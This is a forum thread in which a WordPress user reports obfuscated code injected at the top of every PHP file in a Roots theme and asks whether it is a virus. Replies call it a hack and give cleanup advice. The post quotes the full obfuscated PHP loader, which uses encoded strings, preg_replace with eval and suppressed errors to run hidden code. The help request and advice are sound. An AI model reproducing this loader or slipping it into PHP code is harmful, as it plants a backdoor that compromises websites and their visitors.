Random code showing up in Roots Theme PHP files

Whenever I use the Wordpress editor to edit my theme, there is tons of encrypted code at the top of every PHP file.

It looks like this

<?php $vpgcaxdgac = '%x7825G]y6d]281Ld]247fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y8{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%]284]364]6]234]342]58]24]31#-%x5c%x24<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7887f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x78!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**5)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd%x7825)!gj}Z;h!opjudovg}{;#)tutjy1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x782%x7825))!gj!<*#cd2bge56+99386c6f+9f5d)%x5c%x7825j>1<%x5c%x7825j=6[x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5ctzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]276~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7<#16,47R57,27R66,#%x5c%x782fq%x5c%xf#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%xmsvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x782g}[;ldpt%x5c%x7825}K]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:25-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x517]445]212]445]43]321]464zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825hfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%dy)##-!#~<%x5c%x7825h00#*&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB787f!>>%x5c%x7822!pd%x5cx7825)!>>%x5c%x7822!ftmbg)!gj<*#k827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x7825%x5c%x7878:-!%x825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UF#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe7825)kV%x5c%x7878{**#k#f%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~x5c%x782f7rfs%x5c%x78256<#o]15c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubqx5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x7852-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x}+;!>!}%x5c%x7827;!>>>!}75ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825t25tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x22:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x78604392x5c%x7825r%x5c%x7878<~!!%x5pmpusut)tpqssutRe%x5c%x785c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x7825%x5c%x785cSFWSFT%c%x7825s:N}#-%x5c%x7825o:W%x%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#00#z)#]341]88M4P8]37]278]22>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x78chr(ord($n)-1);} @error_reporting(0); preg_replace("%x2f)eobs%x5c%x7860un>qp%x5c%5]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c]672]48y]#>s%x5c%x7825fV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*X%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j]y76]252]y85]256]y6g]257]y861]y7d]252]y74]256]y39]252]y83]273]y72]5%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmj%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opj_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x6<%x5c%x787fw6*3qj%x5c%x78%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x782#N#*%x5c%x7824%x5c%x782f%x5c%x7x5c%x782f+*0f(-!#]y76]277]y5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)id1; function fjfgg($n){return !|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|5!<**3-j%x5c%x7825-bubE{h%x5c%x7825)c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]27c%x7827u%x5c%x7825)7fmji%xc%x7825)utjm!|!*5!%x5c%x7827%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%M7]381]211M5]67]452]88]5]48]32M3]3272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x25rN}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827t5c%x78786<C%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x787c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x725)tpqsut>j%x5c%x7825!*72!%x5c%x7827!%x7824-%x5c%x7824*<!%x5c%x785-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:559!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%xi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c["%x61%156%x75%156%x61"]=72]265]y39]271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]udovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}5x7822l:!}V;3q%x5c%x7825}U;y]}R;!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x782<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x75c%x7825c:>1<%x5c%x7825b:>#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z5]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825n%x5c%x7825ww2!>#p#%x5c%x782f#p5iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Q824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%x5c%if((function_exists("%x6f%142%x5f%163%x74%141%x72%%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{6%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154;%x5c%x7860ufldpt}X;%x5c%x786074985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878r.985:5298c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftm164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBALS5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#y74]256#<!%x5c%x7825ggg)(0)%2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;3325%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7ubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x78787878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]37yfs%x5c%x78256<*17-SFEBFI,6<*1272]y3d]51]y35]274]y4:]82]y3:]62]y4c#<8e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f#;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x75%x5c%x7824-%x5c%x7824-!%x5c%x7825%x50#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%|7**197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%#%x5c%x782fq%x5c%x7825>U860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmdoF.uofuopD#)sfebfI{*w%x5c%x<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%mw)%x5c%x7825tww**WYsboepn)%x5c%x78%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps25)Rd%x5c%x7825)Rb%x5c]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd)1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827825kj:-!OVMM*<(<%x5c%x7pef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]746-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7873", NULL); }-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]885c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6x7825!|Z~!<##!>!2p%x5c%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hop%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c24-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x787f%x5c%x787f,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>jx5c%x7825bT-%x5c%x7825hW~%x5c%x7825f%x69%164%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI27}88:}334}472%x5c%x7824<x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x85c}X%x5c%x7824<!%x5c%x78255j:^<!%x5c%x7825w%x5cf#%x5c%x782f},;#-#}+;%x5c%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*c%x5c%x7825j:.2^,%x5c%x7825b:<sutcvt-#w#)ldbqov>*ofmy%x55c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3ofmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5h>#]y31]278]y3e]81]K78:56985:6197g:%x7825-qp%x5c%x7825)54l}%x5c%x7827#)usbut%x5c%x7860cpVx5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-11111225bss-%x5c%x7825r%x5c%x7878B%x5c%x7827825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe)|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824-%!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782]y76]271]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]2%x7824-%x5c%x7824tvctus)%x5c%x78fepdof.%x5c%x782f#@#%8X6<#o]o]Y%x5c%x78257;utpI#7>%68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x78>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x78x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%uvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x782<%x5c%x7825nfd)##Qtpy]27]28y]#%x5c%x782fr%x5c%x7825%x5c%!>!#]y84]275]y83]273]y76]277#<%x5x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]2731]265]y72]254]y76#<%x5c%x7825tmwx5c%x7860%x5c%x7825}X;!spc%x7825t2w>#]y74]273x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-15c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd5]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238)tutjyf%x5c%x7860%x5c%x7878%x5c%%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7c%x7825%x5c%x7878:!>#]y3g]61]y3f]63/(.*)/epreg_replacebkzrbyemaa'; $rfhqnkhsjm = explode(chr((244-200)),'5134,50,5495,64,4548,25,3623,29,2853,56,4021,52,300,60,5227,62,7837,59,10071,35,6673,69,2194,61,6195,54,9444,69,9898,47,8127,61,2603,60,2559,44,3809,26,4139,55,8983,30,1895,29,2411,50,7101,36,6249,56,1730,37,1696,34,3405,26,7386,65,8312,59,3943,38,1924,41,7647,36,9750,50,993,64,7451,68,5184,43,858,63,1559,55,7989,65,4073,66,5866,31,9513,55,2043,41,9073,51,20,34,7683,54,3266,45,1146,20,5289,30,1091,55,518,45,2255,24,3353,52,1502,24,563,33,1849,46,4765,52,6305,65,360,61,4255,37,7737,64,2001,42,652,42,3706,36,8218,26,3835,28,473,45,2133,61,3652,54,5075,59,4479,69,8704,65,1057,34,8244,68,6002,67,6808,64,7599,48,8962,21,8528,50,2909,25,7137,22,3054,49,6153,42,3555,68,5743,56,2534,25,6651,22,694,37,7896,68,1447,55,3431,66,3169,36,1965,36,1634,62,7263,66,4389,39,2663,21,9705,25,8831,38,8102,25,8474,34,6069,47,421,52,2461,46,2279,41,8659,45,1767,59,104,65,1526,33,8508,20,7579,20,5448,47,3016,38,9800,59,6370,24,921,35,7201,62,6462,28,1826,23,10000,32,4689,31,5626,65,7329,57,1223,65,4194,61,8054,27,805,53,3131,38,54,50,9673,32,9411,33,9730,20,3103,28,1166,57,9859,39,7031,70,9375,36,8371,67,243,57,5799,67,2994,22,9568,64,3311,42,4639,50,7964,25,9632,41,8869,61,6116,37,5379,69,8930,32,5691,52,5037,38,3863,46,9166,68,8769,62,760,45,4292,28,7519,60,10032,39,6394,68,6895,56,5897,36,9302,53,4995,42,4428,51,6490,36,956,37,9234,68,1313,45,9124,42,3981,40,2712,47,2320,45,6567,35,8578,37,8438,36,5319,60,4320,69,6951,67,2365,46,3742,67,2934,60,0,20,4897,68,1358,64,7801,36,1422,25,9355,20,2759,24,9945,55,3909,34,1288,25,169,35,8615,44,6742,66,2507,27,2684,28,4817,26,596,56,7159,42,2084,49,8188,30,4720,45,8081,21,6602,49,731,29,4965,30,4843,54,2783,70,204,39,1614,20,5559,39,3205,61,3497,31,6872,23,5933,69,5598,28,3528,27,4573,66,9013,60,6526,41,7018,13'); $efooyuzmst=substr($vpgcaxdgac,(59400-49294),(49-42)); if (!function_exists('mknznbwzcm')) { function mknznbwzcm($tujqqmsdcw, $wsykedfrfu) { $hmhdmwzrvi = NULL; for($eirpirmqjx=0;$eirpirmqjx<(sizeof($tujqqmsdcw)/2);$eirpirmqjx++) { $hmhdmwzrvi .= substr($wsykedfrfu, $tujqqmsdcw[($eirpirmqjx*2)],$tujqqmsdcw[($eirpirmqjx*2)+1]); } return $hmhdmwzrvi; };} $yvyvwohnvq="\x20\57\x2a\40\x67\141\x66\162\x70\172\x78\141\x69\143\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\71\x31\55\x31\65\x34\51\x29\54\x20\143\x68\162\x28\50\x36\60\x33\55\x35\61\x31\51\x29\54\x20\155\x6b\156\x7a\156\x62\167\x7a\143\x6d\50\x24\162\x66\150\x71\156\x6b\150\x73\152\x6d\54\x24\166\x70\147\x63\141\x78\144\x67\141\x63\51\x29\51\x3b\40\x2f\52\x20\142\x62\171\x77\157\x6f\170\x67\164\x74\40\x2a\57\x20"; $cnojnmwfkp=substr($vpgcaxdgac,(42695-32582),(55-43)); $cnojnmwfkp($efooyuzmst, $yvyvwohnvq, NULL); $cnojnmwfkp=$yvyvwohnvq; $cnojnmwfkp=(807-686); $vpgcaxdgac=$cnojnmwfkp-1; ?>

Do I have a virus?
Is this a Roots problem?
Is this a Wordpress installation problem?
Is this just a personal problem?

I have tried:

  • Contacting hosting provider
  • Reinstalling theme
  • Googling for an answer

I have found no solution. This is my last hope.

Everything works fine, there is just all this messy code on my files!

Looks like some code injection (i.e. a hack). Anyway, why are you editing your theme in the WP editor?

This is a common hack that I’ve seen showing up everywhere. Along with adding that code to the top of every PHP file in your WordPress site, it also injects rogue users into your wp_users table with administrative privileges. I recommend you do not log into your wp-admin as this may execute the code they injected into your site (probably done already though), but instead delete the rogue administrator from your database, and then reinstall Wordpress and a fresh copy of your theme. Check your plugins as well. Hopefully you have a backup. Good luck.